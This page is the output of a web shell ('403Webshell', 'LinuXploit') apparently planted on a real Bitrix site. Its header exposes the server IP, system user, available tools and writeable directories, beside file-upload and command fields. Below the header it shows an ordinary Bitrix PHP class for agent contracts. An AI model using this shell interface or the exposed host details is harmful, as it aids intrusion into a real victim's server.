403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/catalog/lib/agentcontracttable.php
<?php
namespace Bitrix\Catalog;

use Bitrix\Main\Application;
use Bitrix\Main\Entity\EventResult;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ORM\Data\DataManager;
use Bitrix\Main\ORM\Event;
use Bitrix\Main\ORM\Fields\DatetimeField;
use Bitrix\Main\ORM\Fields\IntegerField;
use Bitrix\Main\ORM\Fields\StringField;
use Bitrix\Main\ORM\Fields\Validators\LengthValidator;
use Bitrix\Main\Type\DateTime;
use Bitrix\Main\ORM\Fields\Relations\Reference;
use Bitrix\Main\ORM\Query\Join;
use Bitrix\Main\UserTable;
use Bitrix\Main\Type\Collection;
use Bitrix\Main\ORM\Query\Query;
use Bitrix\Catalog\v2\Contractor;

/**
 * Class AgentContractTable
 *
 * Fields:
 * <ul>
 * <li> ID int mandatory
 * <li> TITLE string(255) optional
 * <li> CONTRACTOR_ID int mandatory
 * <li> DATE_MODIFY datetime optional
 * <li> DATE_CREATE datetime optional
 * <li> CREATED_BY int optional
 * <li> MODIFIED_BY int optional
 * </ul>
 *
 * @package Bitrix\Catalog
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_AgentContract_Query query()
 * @method static EO_AgentContract_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_AgentContract_Result getById($id)
 * @method static EO_AgentContract_Result getList(array $parameters = [])
 * @method static EO_AgentContract_Entity getEntity()
 * @method static \Bitrix\Catalog\EO_AgentContract createObject($setDefaultValues = true)
 * @method static \Bitrix\Catalog\EO_AgentContract_Collection createCollection()
 * @method static \Bitrix\Catalog\EO_AgentContract wakeUpObject($row)
 * @method static \Bitrix\Catalog\EO_AgentContract_Collection wakeUpCollection($rows)
 */

class AgentContractTable extends DataManager
{
	/**
	 * Returns DB table name for entity.
	 *
	 * @return string
	 */
	public static function getTableName(): string
	{
		return 'b_catalog_agent_contract';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap(): array
	{
		return [
			'ID' => new IntegerField(
				'ID',
				[
					'primary' => true,
					'autocomplete' => true,
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_ID_FIELD'),
				]
			),
			'AGENT_PRODUCT' => new Reference(
				'AGENT_PRODUCT',
				AgentProductTable::class,
				Join::on('this.ID', 'ref.CONTRACT_ID')
			),
			'TITLE' => new StringField(
				'TITLE',
				[
					'required' => true,
					'validation' => function()
					{
						return[
							new LengthValidator(null, 255),
						];
					},
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_TITLE_FIELD'),
				]
			),
			'CONTRACTOR_ID' => new IntegerField(
				'CONTRACTOR_ID',
				[
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_CONTRACTOR_ID_FIELD'),
				]
			),
			'CONTRACTOR' => new Reference(
				'CONTRACTOR',
				ContractorTable::class,
				Join::on('this.CONTRACTOR_ID', 'ref.ID')
			),
			'DATE_MODIFY' => new DatetimeField(
				'DATE_MODIFY',
				[
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_DATE_MODIFY_FIELD'),
				]
			),
			'DATE_CREATE' => new DatetimeField(
				'DATE_CREATE',
				[
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_DATE_CREATE_FIELD'),
					'default_value' => new DateTime(),
				]
			),
			'MODIFIED_BY' => new IntegerField(
				'MODIFIED_BY',
				[
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_MODIFIED_BY_FIELD'),
				]
			),
			'MODIFIED_BY_USER' => new Reference(
				'MODIFIED_BY_USER',
				UserTable::class,
				Join::on('this.MODIFIED_BY', 'ref.ID')
			),
			'CREATED_BY' => new IntegerField(
				'CREATED_BY',
				[
					'title' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_CREATED_BY_FIELD'),
				]
			),
			'CREATED_BY_USER' => new Reference(
				'CREATED_BY_USER',
				UserTable::class,
				Join::on('this.CREATED_BY', 'ref.ID')
			),
		];
	}

	public static function withProductList(Query $query, array $productIds)
	{
		Collection::normalizeArrayValuesByInt($productIds);
		if (empty($productIds))
		{
			return;
		}

		$tableName = AgentProductTable::getTableName();
		$whereExpression = '(PRODUCT_ID IN (' . implode(',', $productIds) . '))';

		$connection = Application::getConnection();
		$helper = $connection->getSqlHelper();
		$productType = $helper->forSql(AgentProductTable::PRODUCT_TYPE_PRODUCT);

		$query->whereExpr("
			(
				CASE WHEN EXISTS (
					SELECT ID
					FROM {$tableName}
					WHERE CONTRACT_ID = %s
					AND PRODUCT_TYPE = '{$productType}'
					AND {$whereExpression}
				)
				THEN 1
				ELSE 0
				END
			) = 1
		", ['ID']);
	}

	public static function withSectionList(Query $query, array $sectionIds)
	{
		Collection::normalizeArrayValuesByInt($sectionIds);
		if (empty($sectionIds))
		{
			return;
		}

		$tableName = AgentProductTable::getTableName();
		$whereExpression = '(PRODUCT_ID IN (' . implode(',', $sectionIds) . '))';

		$connection = Application::getConnection();
		$helper = $connection->getSqlHelper();
		$productType = $helper->forSql(AgentProductTable::PRODUCT_TYPE_SECTION);

		$query->whereExpr("
			(
				CASE WHEN EXISTS (
					SELECT ID
					FROM {$tableName}
					WHERE CONTRACT_ID = %s
					AND PRODUCT_TYPE = '{$productType}'
					AND {$whereExpression}
				)
				THEN 1
				ELSE 0
				END
			) = 1
		", ['ID']);
	}

	public static function onBeforeAdd(Event $event)
	{
		$result = new EventResult;
		$data = $event->getParameter('fields');

		if (empty($data['TITLE']))
		{
			$result->modifyFields([
				'TITLE' => Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_TITLE_DEFAULT'),
			]);
		}

		return $result;
	}

	public static function onAfterAdd(Event $event)
	{
		$data = $event->getParameters();
		$id = $event->getParameter('id');

		if ($data['fields']['TITLE'] === Loc::getMessage('CATALOG_AGENT_CONTRACT_ENTITY_TITLE_DEFAULT'))
		{
			$title = Loc::getMessage(
				'CATALOG_AGENT_CONTRACT_ENTITY_TITLE_DEFAULT',
				[
					'#' => $id,
				]
			);

			self::update(
				$id,
				[
					'TITLE' => $title,
				]
			);
		}
	}

	public static function onAfterDelete(Event $event)
	{
		$result = new EventResult();

		$id = (int)$event->getParameter('primary')['ID'];

		$contractorsProvider = Contractor\Provider\Manager::getActiveProvider(
			Contractor\Provider\Manager::PROVIDER_AGENT_CONTRACT
		);
		if ($contractorsProvider)
		{
			$contractorsProvider::onAfterDocumentDelete($id);
		}

		// delete files
		AgentContractFileTable::deleteFilesByContractId($id);

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit